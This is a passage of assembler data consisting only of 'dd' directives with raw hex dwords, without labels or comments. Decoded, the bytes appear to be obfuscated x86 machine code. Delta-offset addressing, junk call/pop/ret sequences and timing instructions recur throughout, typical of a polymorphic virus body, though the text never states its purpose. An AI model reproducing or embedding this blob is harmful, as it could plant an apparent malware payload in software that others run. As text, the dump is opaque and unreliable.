		dd 15858B98h, 6605EA2Fh, 0F2D1CB81h, 3307C083h,	0EA0AD19Dh
		dd 71BD8905h, 8305EA06h, 850100C0h, 5EA20C1h, 830FD03Bh
		dd 15h,	2C999589h, 45E905EAh, 0F000000h, 483h, 5B506000h
		dd 598D8B61h, 2305EA15h, 0EA13319Dh, 1E18305h, 26840Fh
		dd 29600000h, 0EA317195h, 0A1B50905h, 6105EA0Bh, 1559A583h
		dd 89FE05EAh, 0EA2F1595h, 619D3105h, 0E905EA07h, 0
		dd 272AB58Dh, 6A05EEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 1FD1CCC3h, 5AABCA31h, 47D109BFh
		dd 840F13h, 6A000000h, 57006A00h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 581C2B32h, 0E3EB8140h
		dd 0FF11F839h, 0EA101595h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0C59F6EF9h
		dd 8DEB993h, 9D8B0000h,	5EA0D59h, 6AFCE183h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 2D22C353h, 82CF10ADh, 78E381B5h, 0FC070B96h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 87C35040h, 65F220A4h
		dd 0C02BF693h, 8529D98Bh, 5EA0C55h, 8589D22Bh, 5EA11ADh
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 11C35242h, 9969892Ah, 6A68B4h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0A270EDC3h, 45E97BB4h, 0FE8B660Bh, 880Dh, 8B5F5600h
		dd 0EA0ADD95h, 11E905h,	0DA350000h, 0A1583351h,	71B43060h
		dd 795305D9h, 8BE24DDAh, 0EA0ACD8Dh, 53006A05h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 50782ED0h
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	5DB53158h
		dd 8905EA09h, 0EA115995h, 19BD8305h, 5EA08h, 6F840Fh, 0BF0F0000h
		dd 0B8D8h, 0BD890000h, 5EA317Dh, 4C218D8Dh, 6A05EAh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 1892EEC3h, 2297FACFh, 800F5512h, 26h, 11E8h,	0A0F35C00h
		dd 3E312BBDh, 5AB64611h, 0A26A4B65h, 0AE91EB6h,	7A000000h
		dd 688F6566h, 0D91DF463h, 8D895FD9h, 5EA167Dh, 8B66E1FFh
		dd 0F5BD83D9h, 5EA25h, 4D8840Fh, 0E9600000h, 11h, 9BE4E7D3h
		dd 1876FDCAh, 0E8E54E73h, 6AA14268h, 25BD8B10h,	6105EA16h
		dd 25F5BD83h, 0F0105EAh, 4C884h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 3A2CEFh, 0F5BD83FCh
		dd 305EA25h, 465860Fh, 0BD8B0000h, 5EA0EB9h, 57006A60h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 89A2EFDCh, 42BC8051h, 95BD8BADh, 0B305EA1Dh,	0D98C66D0h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0D1C35040h
		dd 1607B07h, 0EA0EE18Dh, 69B58B05h, 6105EA16h, 6A04E180h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 4BC5C351h, 0BD8B168Ah, 5EA1685h, 0FC90AF9h
		dd 12084h, 0E3816600h, 858B582Dh, 5EA1629h, 15358533h
		dd 6A05EAh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 46BFA5C3h, 5065045Ah, 7E8h, 5A59500h, 0CC1ED797h
		dd 2404895Bh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Ch,	0A6C35141h, 0A800A606h,	89C62D85h, 1632BB66h, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0A642B7C3h, 3F66E4C4h, 9D8BC720h, 5EA1031h, 9737E968h
		dd 81DF8B7Ch, 34162434h, 6A7C88h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 51DA35C3h, 60A15833h
		dd 0DE9B430h, 6E000000h, 0A94B5258h, 0F30E7E5Ch, 0C0709BBAh
		dd 320D95FFh, 6A05EAh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 894D02C3h, 0EA1BCD95h, 0E0858905h
		dd 5205EDD9h, 0F71BD8Bh, 0E95B05EAh, 246h, 8509F960h, 5EA0165h
		dd 0D8858B61h, 6A05EDD9h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0F6DC351h, 686h, 61BD8900h
		dd 0BF05EA10h, 315EEA8Ah, 1800C7h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 72EFECC3h
		dd 0E951A35Bh, 10h, 0F19B81A1h,	0E9E007C0h, 5D8A204Ch
		dd 9D7C59F8h, 4DBD8B5Fh, 8B05EA1Ch, 0EDD9DCB5h,	0AE905h
		dd 0AD690000h, 0E27443D4h, 0DD86677h, 815BD8Bh,	858B05EAh
		dd 5EA29E5h, 13D19D89h,	0EF8105EAh, 7E3CF2DFh, 0D98B0689h
		dd 1629858Bh, 9D8B05EAh, 5EA1EC5h, 6A044689h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0B48EC356h, 0F9129E67h, 25EF8166h, 10E89673h, 5B000000h
		dd 685F8AAAh, 518B9253h, 0A1E5D192h, 6052426Bh,	0CE9h
		dd 728BC500h, 0CE0582FFh, 0AC21CED6h, 61CF8B77h, 0F88B505Bh
		dd 6880F96h, 1000000h, 0EA2981B5h, 0D8B5FF05h, 0E805EDD9h
		dd 10h,	0D59D81CBh, 47733F2Fh, 0CB53AF02h, 0D90C0939h
		dd 2B45BD8Bh, 0E85F05EAh, 4, 1F03FFh, 5ABB6656h, 0E8505F80h
		dd 10h,	0C68C6E94h, 383AF40Ah, 3948F133h, 90A4B758h, 8B5F56B3h
		dd 66042444h, 8BEB9DBBh, 0CE800h, 0EA6C0000h, 0BD1DF00Ch
		dd 0F31FC306h, 8B66D1F5h, 44895FD9h, 0BB660424h, 6A58493Dh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 0DC50C357h, 0C4D97E01h, 0D9E0858Dh, 6A05EDh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0B8ACD4C3h, 0F9FEC317h, 20E5BD8Bh, 0E99005EAh, 0Bh
		dd 0A0A40774h, 4BB56504h, 50FBF09Ah, 2990DA8Bh,	0EA1E2595h
		dd 0D95FF05h, 6A05EA32h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0AF29C350h,	191426F0h
		dd 14E8h, 0C41F7E00h, 0D7C8F6CFh, 61CB1B49h, 9C001A28h
		dd 9E9B184Eh, 5FDF8B7Eh, 0E520D781h, 6A61455Dh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 17C0C353h, 6EC387DBh, 1B141801h, 16259D8Bh, 85C705EAh
		dd 5EA25F5h, 3,	2CD18D89h, 0BD8305EAh, 5EDD9E0h, 2C840F00h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 38ACC355h, 9882D825h, 0E9FC8A11h
		dd 1Eh,	50D98B66h, 110C30h, 0C1011144h,	443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 9015F6C3h, 0B7511576h, 9D8B5FEEh
		dd 5EA0DADh, 0F1FC66BFh, 0F5BD8351h, 305EA25h, 419850Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 67209FC3h, 0F5AFFFAh, 58Eh, 2412BF00h, 9D896533h
		dd 5EA3199h, 0D9E0BD83h, 0F0005EDh, 3DA84h, 59BD8B00h
		dd 0FF05EA11h, 0EDD9E0B5h, 5E805h, 0A5A80000h, 0F86AB5FAh
		dd 8D95FF5Bh, 6A05EA12h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 5AA9C351h, 13E9BA6Eh
		dd 7E000000h, 0A57E35D8h
		dd 0EB1E9CF0h, 0DB3812D7h, 0E06846h, 0B58B5522h, 5EDD9D4h
		dd 10E9h, 9C3A6000h, 0F98B7A48h, 7DCDF413h, 677612DDh
		dd 106C760h, 6A000100h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 47FDC350h, 0B686683Ch
		dd 0E9507D9Ah, 14h, 18239340h, 80E1D156h, 0A5C844ACh, 0FA52A1DAh
		dd 1E172D3Ch, 0FE85Fh, 0B84A0000h, 0B1982215h, 200853DEh
		dd 7787D36h, 19BD8B68h,	5F05EA30h, 63D3BF50h, 34893455h
		dd 51006A24h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 3C6240C8h, 5870Fh, 81660000h, 81DE7BCBh
		dd 40A729DFh, 0E0B5FF10h, 8905EDD9h, 0EA2B518Dh, 6995FF05h
		dd 0F05EA32h, 68Fh, 0CD858900h,	8B05EA02h, 0EDD9D4B5h
		dd 0DE8B5105h, 81858B5Bh, 6605EA08h, 5460DB81h,	0BE9h
		dd 9FD24E00h, 42F86019h, 0F6636211h, 0C48689h, 14E80000h
		dd 0C9000000h, 6CDE004Ch, 0FD8631A3h, 98B989DAh, 517BFC4Eh
		dd 60D92362h, 331958Bh,	12E805EAh, 0E3000000h, 665C3139h
		dd 2A470B27h, 508B536Fh, 0F308AC44h, 5F615A0Ch,	0ADD958Bh
		dd 6A05EAh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 7889BBC3h, 4C283F3h, 8B205089h, 0EA05FD9Dh
		dd 67858D05h, 6A05EDEBh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0A396C356h,	0DC5F5EA3h
		dd 1DB58B60h, 0FC05EA1Eh, 6CBF6661h, 0B88689A0h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 4E28C352h, 257249CCh, 4B24910Ah, 0D114C781h
		dd 6A48D6h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 14h,	0A3C35040h, 5DDFBF66h, 0FD9D8B50h, 5F05EA0Eh, 0D9E0B5FFh
		dd 6A05EDh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 39F7CC3h,	8B2E5D78h, 0F99D8BD9h, 0FF05EA20h
		dd 0EA163D95h, 1CB35005h, 6A243489h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0FFEDC355h
		dd 0EDD9E0B5h, 0DF816605h, 95FFE118h, 5EA15A9h,	149DBD8Bh
		dd 0BD8305EAh, 5EA115Dh, 65840F00h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 1677C355h, 59D852DFh, 0E974119Ch, 0Dh, 74699AFAh, 0F11B980h
		dd 0CA0C8437h, 0A9BF96B8h, 507095BBh, 6BB6657h,	6A965F20h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 6C71C357h, 0CE6A5F3Ch, 0D9E0B5FFh, 5B5705EDh
		dd 1CC995FFh, 0F98B05EAh, 0D9E0B5FFh, 852905EDh, 5EA0B49h
		dd 230D95FFh, 0C78105EAh, 38822C0Ch, 631BD83h, 0F0205EAh
		dd 5084h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 2CD23DDBh, 858BDDAFh, 5EA0C95h, 6A0000C6h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0DF11C355h, 796EEBA7h, 0D380532Fh, 7D85C7A0h
		dd 5EA09h, 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0ED56C352h, 0E97B9223h, 0FFFFF369h
		dd 8BDBCF80h, 6870FC1h,	89000000h, 0EA2B2185h, 8D858D05h
		dd 5005EA29h, 0E9525060h, 0Fh, 5B331A8Dh, 0F0DDFB02h, 0F2BC1064h
		dd 0F610189h, 0DE831h, 23950000h, 1547D3Ah, 83D64D86h
		dd 5F855A56h, 0E28A585Ah, 24048961h, 6820F56h, 89000000h
		dd 0EA3231BDh, 0BD8B5F05h, 5EA2D25h, 8B66006Ah,	6A006ADEh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0F1EC351h, 0B89h,	6E900h,	6DA70000h, 344C1DF9h
		dd 8D36C380h, 0EEC50285h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 5C08362h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0D7C35545h, 0ACEF181h
		dd 89DA8B50h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 3D43EBC3h, 0A2D78166h, 0E8006A6Bh
		dd 10h,	83A2994Fh, 1BE59302h, 0DB4997A7h, 0EF00C301h, 0EE960h
		dd 0CA950000h, 22840D57h, 3C239731h, 24C287A4h,	3577F5BFh
		dd 6A5F6125h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 71DF4B38h, 0B5673192h, 0E995FFD5h
		dd 0E905EA23h, 0Bh, 5F885F6Ah, 5CF6ABC6h, 8D39BBDDh, 0EDD89D8Dh
		dd 1066BB05h, 0D1FF06CFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0D5C35343h, 0BD1B2B0Fh, 0D1BD83A4h, 105EA02h
		dd 71850Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0EE4B19C3h, 411CC24Fh, 0FE9F5h
		dd 0BF760000h, 0A74F794Eh, 50D2791Bh, 0C8BFA025h, 0F026AD6h
		dd 0B350DBBFh, 24048902h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 38C35747h, 0EF818D31h, 173940C5h, 95FFFB8Bh
		dd 5EA163Dh, 0E9FE8B66h, 0CEBh,	0E8h, 0ED815D00h, 5EEC50Ch
		dd 14E9h, 3E401400h, 7BB65912h,	6C4B8B3h, 624131A4h, 7D782333h
		dd 50006A1Ah, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0D0E18167h, 6A7D888Dh, 8E90264h,	49000000h
		dd 0CE475F0Fh, 8D2D1380h, 0EDC38785h, 319D0105h, 5005EA20h
		dd 9BC9BF66h, 29240489h, 0EA116D8Dh, 35FF6405h,	0
		dd 12E9h, 79D3FE00h, 0A4D91E5Ah, 0FE8E0542h, 1311551Eh
		dd 648669ACh, 2589h, 0FFFC0000h, 0EA1C4985h, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 0DF504CF9h, 719D31ECh, 6A05EA30h, 0D38166FFh, 0B5FFC0D5h
		dd 5EA1551h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	0C1C35747h, 574B303Dh, 0FA8C124h, 882h,	9D895300h
		dd 5EA2A91h, 4995FF5Fh,	0E905EA14h, 107h, 0B0DE8B66h, 0FE8B6600h
		dd 9D0B70E6h, 5EA2915h,	8D0F71E4h, 6, 32559589h, 613C05EAh
		dd 0E1830Fh, 0CF810000h, 18D54A7Ah, 0E9C8B60Fh,	0Ah, 8426E09Eh
		dd 0D0F20DCDh, 6BA3974h, 8B000000h, 0EA17119Dh,	0FC18B05h
		dd 0E8C1DAB7h, 6E904h, 119B0000h, 812969F9h, 66E2F766h
		dd 22F8EF81h, 0ABBFC82Bh, 8B714853h, 6E9D1h, 49290000h
		dd 0FFE5EFF5h, 2E9h, 8B5B5100h,	0EA1C7185h, 859D8B05h
		dd 8305EA1Ah, 8C0F07C0h, 6, 95B531h, 0C08305EAh, 41BFBF00h
		dd 0D03B64BBh, 19830Fh,	0DA8B0000h, 56E9h, 7E85700h, 0E5000000h
		dd 4910B764h, 0C3805C9Eh, 8B5B5BADh, 0EA2C818Dh, 838EB705h
		dd 840F01E1h, 33h, 0DE9h, 1D92E500h, 0FF1F5F97h, 38574F29h
		dd 0BD8912A6h, 5EA0C89h, 2C81A583h, 8BFE05EAh, 719589D8h
		dd 0F05EA1Ch, 18Dh, 0E9F500h, 8D000000h, 0EE3180B5h, 0E19D2905h
		dd 6A05EA00h, 62DF8000h, 101595FFh, 0F88B05EAh,	8E6B9h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0A67EC4F0h, 6860Fh, 9D8B0000h, 5EA1035h
		dd 0E8FCE183h, 12h, 4D5419BBh, 0BE0EE3ACh, 0BA6A1327h
		dd 0F80A728Ch, 8160DCACh, 561B18EEh, 61ABB26Bh,	6AFC5Fh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 89D9C0C3h, 0EA1C5DB5h, 0EF816605h, 0C02B47EAh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0F7C35545h, 0BA1Ch
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 1DDE93C3h, 0B652650Bh, 89B2C1CEh,	0EA0041BDh
		dd 0C233AD05h, 0D003E8D1h, 7504E983h, 0E5B589F4h, 0E905EA2Ah
		dd 9, 3C6DD081h, 0BC30F84Eh, 55BD8B12h,	0D05EA1Ch, 88h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 82C35343h
		dd 2947DF71h, 0EA0B65BDh, 0B5016005h, 5EA0079h,	9059D33h
		dd 8B6105EAh, 0EA0ADD95h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 68E1A926h
		dd 9529B8F5h, 5EA28D1h,	0ACD8D8Bh, 6A05EAh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 658F98C3h
		dd 48C6EAAEh, 1211BD8Bh, 8B5005EAh, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	2C7D9D33h, 9D8B05EAh, 5EA2909h
		dd 819BD83h, 0F0005EAh,	8484h, 56006A00h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0BB4128CEh
		dd 6810Fh, 0B5290000h, 5EA2A25h, 2E799529h, 0B805EAh, 0E8000000h
		dd 6, 0D7C5EBF4h, 0BF0FCBBCh, 8A0F5FFAh, 2, 8D8DFA8Bh
		dd 5EA4C21h, 2565BD8Bh,	0E1FF05EAh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 2C35242h, 0C1164CFh, 1CB7C0C1h
		dd 0B70FF524h, 0F5BD83DAh, 5EA25h, 445840Fh, 840F0000h
		dd 3, 2BFEB70Fh, 0EA06F1BDh, 0F5BD8305h, 105EA25h, 444840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 2C8DBC3h,	0EF39895Ah, 0CFDBD8Bh, 0BD8305EAh
		dd 5EA25F5h, 0D9860F03h, 6A000003h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 8309C350h
		dd 6A6073h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 2E184BC3h, 6611AFF0h, 8B66D98Ch, 4E180D8h
		dd 6E9h, 605A0300h, 81613933h, 0B9B3D3E3h, 0FC90A3Ah, 18484h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0EDF2B8E1h, 11E8h, 816B1E00h, 0C1D2703Dh
		dd 0A7A7EB4Eh, 6BC24C23h, 6651D9F5h, 52BAF781h,	858B5F5Fh
		dd 5EA1629h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	0B1C35141h, 0F5E9C431h,	15358533h, 6A05EAh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 6D59FBC3h, 0BBFD812Bh, 56505419h, 2404895Bh,	7E8h, 8218EF00h
		dd 0C64D7658h, 6A5BDF8Bh, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 89DBA970h
		dd 0EA073595h, 0F9958905h, 0E805EA06h, 4, 1F03FFh, 24448B50h
		dd 8BDE8B04h, 9E800h, 0BB5A0000h, 187931ACh, 0E933C9DCh
		dd 7, 0B8FC4550h, 5B307FC7h, 4244489h, 0C2D0BB66h, 55006A58h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0FF5B7821h, 0EA320D95h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 95B8CA0Ch
		dd 0CF8166F3h, 8589D146h, 5EDD9E0h, 681B589h, 0C8E905EAh
		dd 6A000001h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 8E91C357h, 4AE4F892h, 15BB66D2h
		dd 0D8858B8Bh, 6A05EDD9h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 3817C351h, 74F779E6h
		dd 0BF66A2C6h, 0C760ECh, 18h, 2009BD29h, 0B58B05EAh, 5EDD9DCh
		dd 8E8h, 24E45200h, 6385BE7Ch, 0B9BD2383h, 5B05EA12h, 29E5858Bh
		dd 6A05EAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 0D565CC3h, 0FE98Dh, 0A9370000h, 513BA480h
		dd 1D594BA2h, 0E43EBAECh, 6A068940h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0ABA7C353h
		dd 0AE9h, 0F651A700h, 0E742FEEAh, 8BE7FF7Dh, 0EA162985h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 1BF6D064h, 0BE99Eh, 46D60000h, 62431AFDh
		dd 9C23B7EDh, 44689C3h,	10E860h, 0B8750000h, 378092A6h
		dd 96B6AA8Fh, 0C6507D1Eh, 816641F6h, 5905C3EBh,	61BD8B56h
		dd 5E05EA0Ah, 8EBB5061h, 8924EB98h, 9D232434h, 5EA0301h
		dd 0D9D8B5FFh, 816605EDh, 0E91E81CBh, 8, 0A96B6618h, 0ECBCEA3Ch
		dd 0D4E9EE68h, 0AE92Eh,	0F4790000h, 0E7008B23h,	9E7E6C4Bh
		dd 11243481h, 6A2ECBEAh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0CD06C350h,	47105587h
		dd 0DC59D89h, 858D05EAh, 5EDD9E0h, 16B5B589h, 665005EAh
		dd 89F650BFh, 0FFFC2404h, 0EA320D95h, 29BD2B05h, 6105EA17h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 57C35545h
		dd 4FF319E0h, 0F585C771h, 305EA25h, 23000000h, 0EA01659Dh
		dd 0E0BD8305h, 5EDD9h, 12840Fh,	18BF0000h, 0E90950D8h
		dd 23h,	9589DE8Bh, 5EA1251h, 110C3050h,	1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 66C08B00h, 0EB81F88Bh, 5F0E7DBFh, 25F5BD83h
		dd 0F0305EAh, 3AA85h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 79899Ah, 8E885h, 0D4170000h
		dd 1DDE930Dh, 9D8B650Bh, 5EA0F71h, 0E0BD835Fh, 5EDD9h
		dd 369840Fh, 0BD8B0000h, 5EA022Dh, 30399501h, 0B5FF05EAh
		dd 5EDD9E0h, 10B19D01h,	95FF05EAh, 5EA128Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 2C35343h, 0D4B58B39h
		dd 6A05EDD9h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0B984C353h, 0CDBD8B8Dh, 8B05EA0Ch
		dd 0BCEB80F9h, 106C7h, 0DF800001h, 0FBBB960Dh, 5051904Fh
		dd 9E953h, 0DF0000h, 0D21441EBh, 5FB00EFDh, 53006A96h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0B93694A3h, 572B2BBFh, 0BF662C84h, 0B5FF71F5h, 5EDD9E0h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0B8C35040h
		dd 4707EDF2h, 0B5BD8BE6h, 8B05EA2Ah, 0EA2B25BDh, 6995FF05h
		dd 6605EA32h, 8BE5EFBBh, 0EDD9D4B5h, 81858B05h,	6A05EA08h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0CA48C357h, 2865B9ECh, 81744A3Eh,	8E2E5EC3h
		dd 1ABF6679h, 0C48689AEh, 8B000000h, 0EA0ADD95h, 0FDBD0305h
		dd 8305EA0Eh, 13E804C2h, 4F000000h, 5CB78012h, 110717CCh
		dd 4F9AD8CDh, 0B893273Eh, 0FC60C024h, 8F0Fh, 5F610000h
		dd 31205089h, 0EA2EB1BDh, 67858D05h, 8B05EDEBh,	0EA1A79BDh
		dd 0F5BD8905h, 8905EA02h, 0B886h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 820F0DC6h
		dd 6, 172D9589h, 816605EAh, 6A682FE3h, 0E3816600h, 0B5FF41ECh
		dd 5EDD9E0h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	75C35747h, 1F40BBFEh, 0FBD4C596h, 0DE8B66FFh, 10E953h
		dd 0BB0B0000h, 5267489Fh, 6448D630h, 0F28EB1E8h, 0FF5B4DD3h
		dd 0EA163D95h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0BF669C3Ch, 0CB801696h
		dd 3B75055h, 6A243489h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 9881C351h, 810B0EC6h
		dd 21493AE7h, 5800F12h,	0BB000000h, 63716E4Ah, 0D9E0B5FFh
		dd 0FFFC05EDh, 0EA15A995h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 76A52C50h
		dd 4F4688D0h, 2FC78166h, 5DBD83F0h, 5EA11h, 5A840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 7EF57EC3h, 800E5765h, 0E95067D7h, 0Dh, 79526621h, 42EE943Bh
		dd 3C73C677h, 24348914h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0B3C35747h, 0EBDAE7D9h, 0D9E0B5FFh, 0B70F05EDh
		dd 0C995FFFAh, 0F05EA1Ch, 0B5FFF9BFh, 5EDD9E0h,	230D95FFh
		dd 8B6605EAh, 31BD83FEh, 205EA06h, 31840Fh, 858B0000h
		dd 5EA0C95h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	0F2C35545h, 0E64707EDh,	0C6A45Eh, 118D8900h, 0C705EA01h
		dd 0EA097D85h, 5, 0E98D8900h, 0E905EA12h, 0FFFFF413h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0B4C35040h, 65E55DB9h
		dd 38BB9C4Ch, 0F2FB2DAh, 686h, 59BD8900h, 8B05EA2Bh, 219589C1h
		dd 8D05EA11h, 0EA298D85h, 0D3816605h, 60507B70h, 12E95250h
		dd 26000000h, 0EE3C0D9Fh, 0ABAA0FAh, 0C2F8E0B0h, 1350905Fh
		dd 50310FFDh, 5A310F52h, 66585A58h, 6161EBBFh, 6A240489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 3292C355h, 2B9973B9h, 0EA1ED1BDh,	0DB816605h
